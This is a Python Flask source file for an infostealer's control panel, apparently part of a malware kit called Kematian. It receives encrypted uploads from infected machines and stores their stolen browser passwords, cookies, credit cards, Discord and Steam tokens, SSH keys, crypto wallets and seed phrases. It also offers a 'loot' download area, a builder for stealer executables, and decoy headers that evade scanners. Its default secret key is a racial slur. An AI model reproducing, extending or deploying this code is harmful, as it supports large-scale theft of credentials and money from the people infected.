Files
kematianc2/panel/app.py
T

761 lines
28 KiB
Python
Raw Normal View History

2026-08-27 11:23:01 -06:00
"""
Kematian Collector Panel
========================
Admin-authenticated dashboard + raw JSON ingest for the kematian-standalone
agent. Each collected data category is stored in its own SQLite table and
served on its own page with a dedicated icon.
Project: https://t.me/electronic_sex
Run:
pip install -r requirements.txt
python app.py
First-run: head to /setup to create the admin account, then / to log in.
"""
import base64
import json
import os
import time
from functools import wraps
from flask import Flask, render_template, request, session, redirect, url_for, jsonify, abort, g, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
import crypto
import db
import blobs
import builder
app = Flask(__name__)
app.secret_key = os.environ.get("PANEL_SECRET", "blackniggers")
app.config["JSON_SORT_KEYS"] = False
# ------------------------------------------------------------------ privacy / hardening
# Optional admin allowlist: comma-separated IPs that may log in. Empty = anyone,
# but still gated by credentials + rate limit.
ALLOWED_IPS = {x.strip() for x in os.environ.get("PANEL_ALLOWED_IPS", "").split(",") if x.strip()}
# Short response tokens to confuse generic scanners (shown on probe endpoints).
DECOY_NAME = os.environ.get("PANEL_DECOY_NAME", "nginx")
# Requests per time window before an IP gets throttled.
RATE_LIMIT_WINDOW = int(os.environ.get("PANEL_RATE_WINDOW", "60"))
RATE_LIMIT_MAX = int(os.environ.get("PANEL_RATE_MAX", "10"))
RATE_HITS = {} # ip -> [timestamps]
def client_ip():
return request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip()
def rate_limited():
"""Return True if this IP has crossed the throttle limit for the window."""
ip = client_ip()
now = time.time()
hits = RATE_HITS.setdefault(ip, [])
hits = [t for t in hits if now - t < RATE_LIMIT_WINDOW]
RATE_HITS[ip] = hits
return len(hits) >= RATE_LIMIT_MAX
def rate_hit():
RATE_HITS.setdefault(client_ip(), []).append(time.time())
def ip_allowed():
if not ALLOWED_IPS:
return True
return client_ip() in ALLOWED_IPS
# One-shot setup lock lives on disk (next to the DB) so it survives resets.
SETUP_LOCK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".setup_done")
def setup_locked():
return os.path.exists(SETUP_LOCK_FILE)
def mark_setup_done():
try:
with open(SETUP_LOCK_FILE, "w") as f:
f.write(str(int(time.time())))
except OSError:
pass
@app.after_request
def security_headers(resp):
resp.headers["X-Content-Type-Options"] = "nosniff"
resp.headers["X-Frame-Options"] = "DENY"
resp.headers["Referrer-Policy"] = "no-referrer"
resp.headers["X-XSS-Protection"] = "0"
resp.headers["Cache-Control"] = "no-store"
resp.headers["Server"] = DECOY_NAME
return resp
# Hide a couple of default Flask facts from cursory scan tooling.
app.config["SERVER_NAME"] = None
def fmt_dt(ts):
if not ts:
return "—"
return time.strftime("%Y-%m-%d %H:%M", time.localtime(ts))
def fmt_size(n):
try:
n = int(n)
except (TypeError, ValueError):
return "—"
for unit in ("B", "KB", "MB", "GB"):
if n < 1024 or unit == "GB":
return f"{n:.1f} {unit}"
n /= 1024
app.jinja_env.filters["datetime"] = fmt_dt
app.jinja_env.filters["filesize"] = fmt_size
# Ingest API key. Override via env: PANEL_INGEST_KEY
INGEST_KEY = os.environ.get("PANEL_INGEST_KEY", "CHANGE-ME")
# Public-facing ingest URL of this panel, used to pre-fill the builder form.
_public_url = os.environ.get("PANEL_PUBLIC_URL", "").strip().rstrip("/")
PANEL_PUBLIC_URL = (_public_url + "/api/ingest") if _public_url else "/api/ingest"
# Map of category -> (label, table, icon path, page title)
CATEGORIES = {
"passwords": ("Passwords", "passwords", "pass", "Stored Login Credentials"),
"cookies": ("Cookies", "cookies", "cookie", "Browser Cookies"),
"autofill": ("Autofill", "autofill", "autofill", "Autofill Data"),
"history": ("History", "history", "history", "Browsing History"),
"bookmarks": ("Bookmarks", "bookmarks", "bookmark", "Bookmarks"),
"credit_cards": ("Credit Cards", "credit_cards", "card", "Saved Cards & Billing"),
"discord_tokens": ("Discord Tokens", "discord_tokens", "discord", "Discord Tokens"),
"files": ("Files", "files", "files", "Interesting Files"),
"extensions": ("Extensions", "extensions", "extension","Browser Extensions"),
"wallets": ("Wallets", "wallets", "wallet", "Crypto Wallets"),
"telegram": ("Telegram", "telegram", "telegram", "Telegram Sessions"),
"keys": ("SSH / Cloud Keys","keys", "key", "SSH & Auth Keys"),
"app_credentials": ("App Credentials", "app_credentials", "app", "App Credentials"),
"seeds": ("Seed Phrases", "seeds", "seed", "Crypto Seed Phrases"),
"gaming": ("Gaming", "gaming", "game", "Gaming Accounts"),
"steam_tokens": ("Steam Tokens", "steam_tokens", "steam", "Steam Login & Refresh Tokens"),
"vpns": ("VPNs", "vpns", "vpn", "VPN Configurations"),
}
def now_ts():
return int(time.time())
# ---------------------------------------------------------------- auth
def login_required(f):
@wraps(f)
def wrapper(*args, **kwargs):
if not session.get("admin"):
return redirect(url_for("login", next=request.path))
return f(*args, **kwargs)
return wrapper
@app.context_processor
def inject_globals():
import os as _os
return {
"categories": CATEGORIES,
"cat": CATEGORIES,
"os": _os,
}
@app.route("/setup", methods=["GET", "POST"])
def setup():
if not ip_allowed():
return abort(404)
db.init_db()
# One-shot lock: once setup has completed, /setup is permanently closed.
# Uses a persistent marker file (independent of the DB), so even if the admin
# table is cleared or the DB is reset, setup cannot be re-run.
if setup_locked():
flash("Setup is already complete. Log in instead.", "info")
return redirect(url_for("login"))
conn = db.get_conn()
existing = conn.execute("SELECT id FROM admin").fetchone()
conn.close()
if existing:
mark_setup_done()
flash("Admin already exists. Log in instead.", "info")
return redirect(url_for("login"))
if rate_limited():
return abort(429)
if request.method == "POST":
rate_hit()
user = (request.form.get("username") or "").strip()
pwd = request.form.get("password") or ""
if len(user) < 3:
flash("Username must be at least 3 characters.", "error")
elif len(pwd) < 6:
flash("Password must be at least 6 characters.", "error")
else:
conn = db.get_conn()
try:
conn.execute(
"INSERT INTO admin (username, password_hash) VALUES (?, ?)",
(user, generate_password_hash(pwd)),
)
conn.commit()
finally:
conn.close()
mark_setup_done()
flash("Admin created. Log in now.", "success")
return redirect(url_for("login"))
return render_template("setup.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if not ip_allowed():
return abort(404)
db.init_db()
if request.method == "POST":
if rate_limited():
return abort(429)
rate_hit()
user = (request.form.get("username") or "").strip()
pwd = request.form.get("password") or ""
conn = db.get_conn()
row = conn.execute("SELECT * FROM admin WHERE username = ?", (user,)).fetchone()
conn.close()
if row and check_password_hash(row["password_hash"], pwd):
session["admin"] = row["username"]
RATE_HITS.pop(client_ip(), None)
flash("Welcome back.", "success")
nxt = request.args.get("next") or url_for("dashboard")
return redirect(nxt)
flash("Invalid credentials.", "error")
return render_template("login.html")
@app.route("/logout")
def logout():
session.pop("admin", None)
flash("Logged out.", "info")
return redirect(url_for("login"))
# ---------------------------------------------------------------- dashboard
@app.route("/")
def index():
return redirect(url_for("login") if not session.get("admin") else url_for("dashboard"))
@app.route("/dashboard")
@login_required
def dashboard():
conn = db.get_conn()
client_count = conn.execute("SELECT COUNT(*) c FROM clients").fetchone()["c"]
total = conn.execute("SELECT COALESCE(SUM(total_entries),0) t FROM clients").fetchone()["t"]
stats = {}
for key, (label, table, icon, _title) in CATEGORIES.items():
rows = conn.execute(f"SELECT COUNT(*) c FROM {table}").fetchone()["c"]
stats[key] = {"label": label, "count": rows, "icon": icon}
recent = conn.execute(
"SELECT client_id, os, arch, ip, first_seen, last_seen, total_entries "
"FROM clients ORDER BY last_seen DESC LIMIT 8"
).fetchall()
conn.close()
loot_count = len(blobs.blobs_for())
# --- chart data: entries per category + activity over the last 24h ---
chart_labels = [stats[k]["label"] for k in CATEGORIES]
chart_values = [stats[k]["count"] for k in CATEGORIES]
chart_icons = [stats[k]["icon"] for k in CATEGORIES]
return render_template(
"dashboard.html",
client_count=client_count,
total=total,
loot_count=loot_count,
stats=stats,
recent=recent,
chart_labels=chart_labels,
chart_values=chart_values,
chart_icons=chart_icons,
)
# ---------------------------------------------------------------- clients
@app.route("/clients")
@login_required
def clients():
conn = db.get_conn()
rows = conn.execute(
"SELECT * FROM clients ORDER BY last_seen DESC"
).fetchall()
conn.close()
return render_template("clients.html", clients=rows)
@app.route("/client/<client_id>")
@login_required
def client_detail(client_id):
conn = db.get_conn()
cli = conn.execute("SELECT * FROM clients WHERE client_id = ?", (client_id,)).fetchone()
if not cli:
conn.close()
abort(404)
per_cat = {}
for key, (label, table, icon, _title) in CATEGORIES.items():
c = conn.execute(f"SELECT COUNT(*) c FROM {table} WHERE client_id = ?", (client_id,)).fetchone()["c"]
per_cat[key] = {"label": label, "count": c, "icon": icon}
conn.close()
return render_template("client_detail.html", cli=cli, per_cat=per_cat)
# ---------------------------------------------------------------- category pages
@app.route("/cat/<key>")
@login_required
def category(key):
if key not in CATEGORIES:
abort(404)
label, table, icon, title = CATEGORIES[key]
client_filter = request.args.get("client")
conn = db.get_conn()
if client_filter:
rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ? ORDER BY id DESC", (client_filter,)).fetchall()
else:
rows = conn.execute(f"SELECT * FROM {table} ORDER BY id DESC").fetchall()
conn.close()
return render_template(
"categories/view.html",
key=key,
label=label,
icon=icon,
title=title,
table=table,
rows=rows,
client_filter=client_filter,
)
@app.route("/api/raw/<key>")
@login_required
def api_raw(key):
if key not in CATEGORIES:
abort(404)
_label, table, _icon, _title = CATEGORIES[key]
client_filter = request.args.get("client")
conn = db.get_conn()
if client_filter:
cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()]
rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ?", (client_filter,)).fetchall()
else:
cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()]
rows = conn.execute(f"SELECT * FROM {table}").fetchall()
conn.close()
payload = [dict(r) for r in rows]
return jsonify({"columns": cols, "rows": payload})
# ---------------------------------------------------------------- payloads / backups
@app.route("/client/<client_id>/loot")
@login_required
def client_loot(client_id):
"""List the hosted payload files for a client."""
blobs_for = blobs.blobs_for(client_id)
return render_template("loot.html", client_id=client_id, blobs=blobs_for)
@app.route("/client/<client_id>/loot/<int:blob_id>/download")
@login_required
def loot_download(client_id, blob_id):
"""Download one hosted payload zip."""
path = blobs.blob_path(client_id, blob_id)
if not path:
abort(404)
# send_file needs the filename to preserve the download name
from flask import send_file
return send_file(path, as_attachment=True, download_name=os.path.basename(path))
@app.route("/client/<client_id>/loot/zip")
@login_required
def loot_zip(client_id):
"""Bundle every hosted payload for a client into one download zip (backup)."""
import io, zipfile
items = blobs.blobs_for(client_id)
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
for b in items:
path = blobs.blob_path(client_id, b["id"])
if path:
z.write(path, arcname=f"{client_id}/{b['filename']}")
buf.seek(0)
from flask import send_file
return send_file(buf, as_attachment=True, download_name=f"{client_id}_loot.zip", mimetype="application/zip")
@app.route("/loot")
@login_required
def all_loot():
"""Every payload file across all clients."""
items = blobs.blobs_for()
return render_template("loot_all.html", blobs=items)
@app.route("/fileshare")
@login_required
def fileshare():
"""File share overview: every hosted file + clients that have files."""
items = blobs.blobs_for()
by_client = {}
uploaded = 0
for b in items:
by_client[b["client_id"]] = by_client.get(b["client_id"], 0) + 1
if b["client_id"] == "upload":
uploaded += 1
return render_template("fileshare.html", blobs=items, by_client=by_client, uploaded=uploaded)
@app.route("/fileshare/upload", methods=["POST"])
@login_required
def fileshare_upload():
"""Upload a file (admin) into the built-in file share."""
f = request.files.get("file")
if not f or not f.filename:
flash("Choose a file to upload.", "error")
return redirect(url_for("fileshare"))
category = (request.form.get("category") or "upload").strip() or "upload"
try:
data = f.read()
blob_id = blobs.upload_public(f.filename, data, category=category)
flash(f"Uploaded {f.filename}", "success")
return redirect(url_for("fileshare"))
except Exception as e:
flash(f"Upload failed: {e}", "error")
return redirect(url_for("fileshare"))
# ---------------------------------------------------------------- ingest API
def authorized_auth():
"""Validate the ingress Bearer token. Compares against the configured key."""
auth = request.headers.get("Authorization", "")
return auth == f"Bearer {INGEST_KEY}"
@app.route("/api/ingest", methods=["POST"])
def ingest():
# Require both a valid ingress key AND (if set) an allowed ingress IP, so a
# random person curling the domain can't even attempt to feed garbage.
if not authorized_auth():
abort(401)
if not ip_allowed():
abort(404)
data = request.get_json(silent=True)
# E2EE envelope: {"enc": "<base64 ciphertext>"} — decrypt to recover the
# CollectionResult, then land each category in its own table.
if isinstance(data, dict) and data.get("enc"):
try:
plain = crypto.decrypt_wire(data["enc"])
except Exception as e:
return jsonify({"error": "decryption failed", "detail": str(e)}), 400
try:
data = json.loads(plain)
except Exception:
return jsonify({"error": "decrypted payload is not valid JSON"}), 400
if not isinstance(data, dict):
return jsonify({"error": "body must be a JSON object"}), 400
client_id = data.get("clientId") or data.get("client_id")
if not client_id:
client_id = str(base64.urlsafe_b64encode(os.urandom(9)), "ascii")
while len(client_id) < 12:
client_id += "x"
client_id = client_id[:12]
host = data.get("host") or {}
ip = request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip()
ts = now_ts()
total_new = 0
payload_saved = 0
conn = db.get_conn()
try:
conn.execute("BEGIN")
existing = conn.execute("SELECT id FROM clients WHERE client_id = ?", (client_id,)).fetchone()
if existing:
conn.execute(
"UPDATE clients SET last_seen=?, ip=?, user_agent=?, version=?, os=COALESCE(?, os), arch=COALESCE(?, arch) "
"WHERE client_id=?",
(ts, ip, request.headers.get("User-Agent", ""), host.get("version", ""),
host.get("os", ""), host.get("arch", ""), client_id),
)
else:
conn.execute(
"INSERT INTO clients (client_id, os, arch, version, ip, user_agent, first_seen, last_seen) "
"VALUES (?,?,?,?,?,?,?,?)",
(client_id, host.get("os", ""), host.get("arch", ""), host.get("version", ""),
ip, request.headers.get("User-Agent", ""), ts, ts),
)
# helper: bulk-insert a category with clear-then-replace strategy
def insert_cat(cat_keys, target_table, mapper):
nonlocal total_new
items = data.get(cat_keys, [])
if items is None:
items = []
for it in items:
if not isinstance(it, dict):
continue
cols, vals = mapper(it)
q = f"INSERT INTO {target_table} (client_id, {', '.join(cols)}) VALUES ({','.join('?' for _ in range(len(cols)+1))})"
conn.execute(q, [client_id] + vals)
total_new += 1
return len(items)
insert_cat("passwords", "passwords", lambda d: (
["url", "username", "password", "browser", "profile"],
[d.get("url"), d.get("username"), d.get("password"), d.get("browser"), d.get("profile")],
))
insert_cat("cookies", "cookies", lambda d: (
["host", "name", "value", "path", "secure", "http_only", "expires_utc", "browser", "profile"],
[d.get("host"), d.get("name"), d.get("value"), d.get("path"),
int(bool(d.get("secure"))), int(bool(d.get("httpOnly"))),
d.get("expiresUtc"), d.get("browser"), d.get("profile")],
))
insert_cat("autofill", "autofill", lambda d: (
["name", "value", "date_created", "browser", "profile"],
[d.get("name"), d.get("value"), d.get("dateCreated"), d.get("browser"), d.get("profile")],
))
insert_cat("history", "history", lambda d: (
["url", "title", "visit_time_unix", "visit_count", "last_visit_time", "browser", "profile"],
[d.get("url"), d.get("title"), d.get("visitTimeUnix"), d.get("visitCount"),
d.get("lastVisitTime"), d.get("browser"), d.get("profile")],
))
insert_cat("bookmarks", "bookmarks", lambda d: (
["name", "url", "type", "browser", "profile"],
[d.get("name"), d.get("url"), d.get("type"), d.get("browser"), d.get("profile")],
))
insert_cat("creditCards", "credit_cards", lambda d: (
["name_on_card", "expiration_month", "expiration_year", "card_number", "nickname", "browser", "profile"],
[d.get("nameOnCard"), d.get("expirationMonth"), d.get("expirationYear"),
d.get("cardNumber"), d.get("nickname"), d.get("browser"), d.get("profile")],
))
insert_cat("discordTokens", "discord_tokens", lambda d: (
["token", "source"],
[d.get("token"), d.get("source")],
))
insert_cat("files", "files", lambda d: (
["path", "name", "ext", "size", "modified", "dir", "tags"],
[d.get("path"), d.get("name"), d.get("ext"), d.get("size"),
d.get("modified"), d.get("dir"), ";".join(d.get("tags", [])) if isinstance(d.get("tags"), list) else d.get("tags")],
))
insert_cat("extensions", "extensions", lambda d: (
["ext_id", "name", "version", "browser", "profile", "path", "category"],
[d.get("extId"), d.get("name"), d.get("version"), d.get("browser"), d.get("profile"), d.get("path"), d.get("category")],
))
insert_cat("wallets", "wallets", lambda d: (
["name", "type", "path", "files", "size", "addresses", "vault_data"],
[d.get("name"), d.get("type"), d.get("path"), d.get("files"), d.get("size"),
";".join(d.get("addresses", [])) if isinstance(d.get("addresses"), list) else d.get("addresses"), d.get("vaultData")],
))
insert_cat("telegram", "telegram", lambda d: (
["account", "path", "files", "size"],
[d.get("account"), d.get("path"), d.get("files"), d.get("size")],
))
insert_cat("keys", "keys", lambda d: (
["type", "name", "path", "size", "content"],
[d.get("type"), d.get("name"), d.get("path"), d.get("size"), d.get("content")],
))
insert_cat("appCredentials", "app_credentials", lambda d: (
["application", "host", "port", "username", "password", "protocol", "extra"],
[d.get("application"), d.get("host"), d.get("port"), d.get("username"), d.get("password"), d.get("protocol"), d.get("extra")],
))
insert_cat("seeds", "seeds", lambda d: (
["source", "path", "phrase", "words"],
[d.get("source"), d.get("path"), d.get("phrase"), d.get("words")],
))
# nested objects (gaming/vpns) — store the whole sub-object as one row
def insert_single(table, vpn_or_key, payload):
nonlocal total_new
cols = ["client_id", vpn_or_key, "payload"]
conn.execute(
f"INSERT INTO {table} ({', '.join(cols)}) VALUES (?,?,?)",
[client_id, vpn_or_key, json.dumps(payload, separators=(',', ':'))],
)
total_new += 1
gaming = data.get("gaming")
if isinstance(gaming, dict) and gaming:
insert_single("gaming", "platform", gaming)
vpns = data.get("vpns")
if isinstance(vpns, dict) and vpns:
insert_single("vpns", "vpn", vpns)
# steam login/refresh tokens (list of {steamId, token}) -> own table
steam_tokens = data.get("steamTokens")
if isinstance(steam_tokens, list):
for st in steam_tokens:
if not isinstance(st, dict):
continue
conn.execute(
"INSERT INTO steam_tokens (client_id, steam_id, token) VALUES (?,?,?)",
(client_id, st.get("steamId"), st.get("token")),
)
total_new += 1
# binary payloads (wallet/telegram/steam zips) -> persisted under loot/
payloads = data.get("payloads")
if isinstance(payloads, list):
for blob_doc in payloads:
if not isinstance(blob_doc, dict):
continue
try:
blobs.save_payload(client_id, blob_doc, conn=conn)
payload_saved += 1
except Exception:
pass
conn.execute(
"UPDATE clients SET total_entries = total_entries + ? WHERE client_id = ?",
(total_new, client_id),
)
conn.commit()
except Exception as e:
conn.rollback()
conn.close()
return jsonify({"error": str(e)}), 500
conn.close()
return jsonify({"ok": True, "clientId": client_id, "entries": total_new, "payloads": payload_saved}), 200
# ---------------------------------------------------------------- misc
@app.route("/health")
def health():
# Only responds when the caller proves it's an agent (correct ingress key),
# so random scanners / curls get a nondescript 404 instead of a liveness beacon.
if not authorized_auth() or not ip_allowed():
return abort(404)
return jsonify({"ok": True, "ts": now_ts()})
@app.route("/e2ee/pub")
def e2ee_pub():
"""Panel's E2EE public key (hex). Agent fetches this at runtime to encrypt
toward the panel. Locked behind the same ingress key so it isn't public."""
if not authorized_auth() or not ip_allowed():
return abort(404)
return jsonify({"algo": "x25519-hkdf-chacha20poly1305", "publicKey": crypto.public_key_hex()})
@app.route("/search")
@login_required
def search():
q = (request.args.get("q") or "").strip()
results = []
conn = db.get_conn()
if q:
like = f"%{q}%"
pwd = conn.execute(
"SELECT client_id, url, username, password, browser FROM passwords WHERE url LIKE ? OR username LIKE ? LIMIT 50",
(like, like),
).fetchall()
for p in pwd:
results.append({"type": "Password", "detail": f"{p['username']} @ {p['url']}", "client": p["client_id"]})
tok = conn.execute(
"SELECT client_id, token, source FROM discord_tokens WHERE token LIKE ? LIMIT 50", (like,)
).fetchall()
for t in tok:
results.append({"type": "Discord", "detail": t["token"][:40], "client": t["client_id"]})
host = conn.execute(
"SELECT client_id, host, name, value FROM cookies WHERE host LIKE ? OR name LIKE ? LIMIT 50",
(like, like),
).fetchall()
for c in host:
results.append({"type": "Cookie", "detail": f"{c['name']} @ {c['host']}", "client": c["client_id"]})
conn.close()
return render_template("search.html", q=q, results=results)
# ---------------------------------------------------------------- web builder
@app.route("/build")
@login_required
def build_page():
return render_template("builder.html", default_endpoint=PANEL_PUBLIC_URL, builds=builder.all_jobs())
@app.route("/build", methods=["POST"])
@login_required
def build_start():
endpoint = (request.form.get("endpoint") or "").strip()
auth = (request.form.get("auth") or "").strip()
bot_token = (request.form.get("bot_token") or "").strip()
chat_id = (request.form.get("chat_id") or "").strip()
build_name = (request.form.get("build_name") or "kematian").strip()
if not endpoint:
endpoint = PANEL_PUBLIC_URL
# normalize: if user entered just host, append /api/ingest
if not endpoint.endswith("/api/ingest"):
endpoint = endpoint.rstrip("/") + "/api/ingest"
if not auth:
return render_template("builder.html", error="Panel auth key is required.",
default_endpoint=endpoint, builds=builder.all_jobs()), 400
build_id = builder.start_build(endpoint, auth, bot_token, chat_id, build_name)
return render_template("builder.html", started=build_id, default_endpoint=endpoint, builds=builder.all_jobs())
@app.route("/build/status/<int:build_id>")
@login_required
def build_status(build_id):
job = builder.job_status(build_id)
if not job:
return jsonify({"error": "no such build"}), 404
exe_name = os.path.basename(job["exe"]) if job["exe"] else None
return jsonify({
"status": job["status"],
"error": job["error"],
"exe": exe_name,
"download": f"/build/download/{exe_name}" if exe_name else None,
})
@app.route("/build/download/<path:filename>")
@login_required
def build_download(filename):
from flask import send_file
safe = os.path.basename(filename)
path = os.path.join(builder.BUILDS_DIR, safe)
if not os.path.exists(path):
abort(404)
return send_file(path, as_attachment=True, download_name=safe)
if __name__ == "__main__":
db.init_db()
os.makedirs(builder.BUILDS_DIR, exist_ok=True)
port = int(os.environ.get("PANEL_PORT", 5000))
app.run(host="0.0.0.0", port=port, debug=False)